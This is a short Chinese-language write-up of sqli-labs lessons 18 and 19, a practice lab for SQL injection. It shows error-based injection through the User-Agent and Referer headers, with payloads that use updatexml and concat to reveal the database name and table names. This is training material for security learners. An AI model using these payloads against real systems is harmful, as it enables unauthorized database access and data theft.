sqlilabs less-18、19
頁(yè)面顯示

在username和password輸入各種判斷注入點(diǎn)的符號(hào)(' -- ) " ),都無(wú)回顯。
所以輸入正確username和password后顯示:

所以使用抓包軟件抓取user agent:' 顯示

''顯示,即閉合了sql語(yǔ)句。

'and order by 3' 顯示

嘗試用顯錯(cuò)updatexml函數(shù)。updatexml函數(shù)(格式:UPDATEXML (XML_document, XPath_string, new_value)。因?yàn)閏oncat()得到的字符串不符合XPath_string,所以會(huì)出現(xiàn)XPATH syntax error這個(gè)錯(cuò)誤。
'or updatexml(1,concat('#',(database())),1) or' 顯示

'or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)or'

如此繼續(xù)。多個(gè)輸出內(nèi)容可以limit字句作輸出限制。
less-19
同less-18一樣,將user agent處改為referer即可
標(biāo)簽: